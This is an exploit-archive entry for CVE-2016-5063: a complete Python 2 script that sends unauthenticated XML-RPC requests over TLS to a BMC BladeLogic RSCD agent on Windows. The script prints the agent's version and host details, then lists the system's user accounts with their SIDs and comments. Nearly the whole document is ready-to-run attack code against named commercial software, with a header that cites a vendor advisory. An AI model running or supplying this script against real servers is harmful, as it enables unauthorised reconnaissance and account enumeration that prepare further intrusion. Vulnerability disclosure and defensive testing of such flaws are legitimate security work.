BMC BladeLogic RSCD Agent 8.3.00.64 Windows Users Disclosure

`# Exploit Title: BMC BladeLogic RSCD agent get Windows users  
# Filename: BMC_winUsers.py  
# Github: https://github.com/bao7uo/bmc_bladelogic  
# Date: 2018-01-27  
# Exploit Author: Paul Taylor / Foregenix Ltd  
# Website: http://www.foregenix.com/blog  
# Version: BMC RSCD agent 8.3.00.64  
# CVE: CVE-2016-5063  
# Vendor Advisory: https://docs.bmc.com/docs/ServerAutomation/87/release-notes-and-notices/flashes/notification-of-windows-rscd-agent-vulnerability-in-bmc-server-automation-cve-2016-5063  
# Tested on: 8.3.00.64  
  
#!/usr/bin/python2  
  
# Retrieving Windows system users with BMC BladeLogic RSCD agent  
# Tested against v8.3.00.64 (Windows version)  
# CVE-2016-5063  
  
# Author: Paul Taylor / Foregenix Ltd  
# github.com/bao7uo/bmc_bladelogic  
# www.foregenix.com/blog  
  
# Credits:  
# Converted to work against Windows version  
# from the Linux BMC getUsers exploit by ERNW  
  
import socket  
import ssl  
import sys  
import requests  
import argparse  
import xml.etree.ElementTree as ET  
import xml.dom.minidom  
import httplib  
from requests.packages.urllib3 import PoolManager  
from requests.packages.urllib3.connection import HTTPConnection  
from requests.packages.urllib3.connectionpool import HTTPConnectionPool  
from requests.adapters import HTTPAdapter  
  
  
class MyHTTPConnection(HTTPConnection):  
def __init__(self, unix_socket_url, timeout=60):  
HTTPConnection.__init__(self, HOST, timeout=timeout)  
self.unix_socket_url = unix_socket_url  
self.timeout = timeout  
  
def connect(self):  
self.sock = wrappedSocket  
  
  
class MyHTTPConnectionPool(HTTPConnectionPool):  
def __init__(self, socket_path, timeout=60):  
HTTPConnectionPool.__init__(self, HOST, timeout=timeout)  
self.socket_path = socket_path  
self.timeout = timeout  
  
def _new_conn(self):  
return MyHTTPConnection(self.socket_path, self.timeout)  
  
  
class MyAdapter(HTTPAdapter):  
def __init__(self, timeout=60):  
super(MyAdapter, self).__init__()  
self.timeout = timeout  
  
def get_connection(self, socket_path, proxies=None):  
return MyHTTPConnectionPool(socket_path, self.timeout)  
  
def request_url(self, request, proxies):  
return request.path_url  
  
  
def optParser():  
parser = argparse.ArgumentParser(description="Retrieving system users with BMC BladeLogic Server Automation RSCD agent")  
parser.add_argument("host", help="IP address of a target system")  
parser.add_argument("-p", "--port", type=int, default=4750, help="TCP port (default: 4750)")  
opts = parser.parse_args()  
return opts  
  
  
init = """<?xml version="1.0" encoding="UTF-8"?><methodCall><methodName>RemoteServer.intro</methodName><params><param><value>2015-11-19-16-10-30-3920958</value></param><param><value>7</value></param><param><value>0;0;21;AArverManagement_XXX_XXX:XXXXXXXX;2;CM;-;-;0;-;1;1;6;SYSTEM;CP1252;</value></param><param><value>8.6.01.66</value></param></params></methodCall>"""  
getVersion = """<?xml version="1.0" encoding="UTF-8"?><methodCall><methodName>RemoteServer.getVersion</methodName><params/></methodCall>"""  
getWindowsUsers = """<?xml version="1.0" encoding="UTF-8"?><methodCall><methodName>RemoteUser.getUserContents</methodName><params><param><value><struct><member><name>typeName</name><value>OS</value></member><member><name>host</name><value>0.0.0.0</value></member><member><name>container</name><value><array><data><value><struct><member><name>string</name><value></value></member><member><name>value</name><value><struct><member><name>longValue</name><value><ex:i8>1</ex:i8></value></member><member><name>kind</name><value><i4>1</i4></value></member></struct></value></member></struct></value></data></array></value></member><member><name>path</name><value>/</value></member></struct></value></param><param><value><i4>1</i4></value></param><param><value><array><data/></array></value></param><param><value><array><data/></array></value></param><param><value><array><data/></array></value></param></params></methodCall>"""  
getHostOverview = """<?xml version="1.0" encoding="UTF-8"?><methodCall><methodName>RemoteServer.getHostOverview</methodName></methodCall>"""  
  
options = optParser()  
PORT = options.port  
HOST = options.host  
  
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
sock.connect((HOST, PORT))  
  
sock.sendall("TLSRPC")  
  
wrappedSocket = ssl.wrap_socket(sock)  
  
adapter = MyAdapter()  
s = requests.session()  
s.mount("http://", adapter)  
  
print "Sending intro..."  
r = s.post('http://'+HOST+':'+str(PORT)+'/xmlrpc', data=init)  
  
print "Getting version..."  
r = s.post('http://'+HOST+':'+str(PORT)+'/xmlrpc', data=getVersion)  
  
rootVersion = ET.fromstring(r.content)  
print "========================="  
print "Major version : " + rootVersion[0][0][0][0][0][1].text  
print "Minor version : " + rootVersion[0][0][0][0][1][1].text  
print "Patch version : " + rootVersion[0][0][0][0][2][1].text  
print "Platform version: " + rootVersion[0][0][0][0][3][1].text  
print "=========================\n"  
  
print "Getting host overview..."  
r = s.post('http://'+HOST+':'+str(PORT)+'/xmlrpc', data=getHostOverview)  
  
rootOverview = ET.fromstring(r.content)  
print rootOverview[0][0][0][0][12][1].text  
  
linux = False  
  
if rootOverview[0][0][0][0][0][1].text is not None:  
linux = True  
  
print "=================================================="  
print "Agent instal dir: " + rootOverview[0][0][0][0][1][1].text  
print "Licensed? : " + ("false" if (int(rootOverview[0][0][0][0][2][1][0].text) == 0) else "true")  
print "Repeater? : " + ("false" if (int(rootOverview[0][0][0][0][12][1][0].text) == 0) else "true")  
print "Hostname : " + rootOverview[0][0][0][0][6][1].text  
print "Netmask : " + rootOverview[0][0][0][0][13][1].text  
print "CPU architecture: " + rootOverview[0][0][0][0][10][1].text  
print "Platform (OS) : " + rootOverview[0][0][0][0][14][1].text  
print "OS version : " + rootOverview[0][0][0][0][15][1].text  
print "OS architecture : " + rootOverview[0][0][0][0][3][1].text  
print "OS release : " + rootOverview[0][0][0][0][11][1].text  
print "Patch level : " + rootOverview[0][0][0][0][7][1].text  
print "==================================================\n"  
  
print "Sending request for users...\n"  
  
r = s.post('http://'+HOST+':'+str(PORT)+'/xmlrpc', data=getWindowsUsers)  
  
with open("./users.xml", "w") as text_file:  
text_file.write(r.content)  
  
root = ET.parse('./users.xml').getroot()  
count = 0  
ind = 1  
while ind:  
try:  
ind = root[0][0][0][0][0][count][0][14][1].text  
except IndexError:  
pass  
break  
count += 1  
  
print "Number of users found: " + str(count) + "\n"  
for i in range(0, count):  
print "Username: "+ root[0][0][0][0][0][i][0][14][1].text  
print "SID: " + root[0][0][0][0][0][i][0][12][1].text  
print "Comment: " + root[0][0][0][0][0][i][0][2][1].text  
  
print "........................\n"  
  
  
wrappedSocket.close()  
  
  
  
`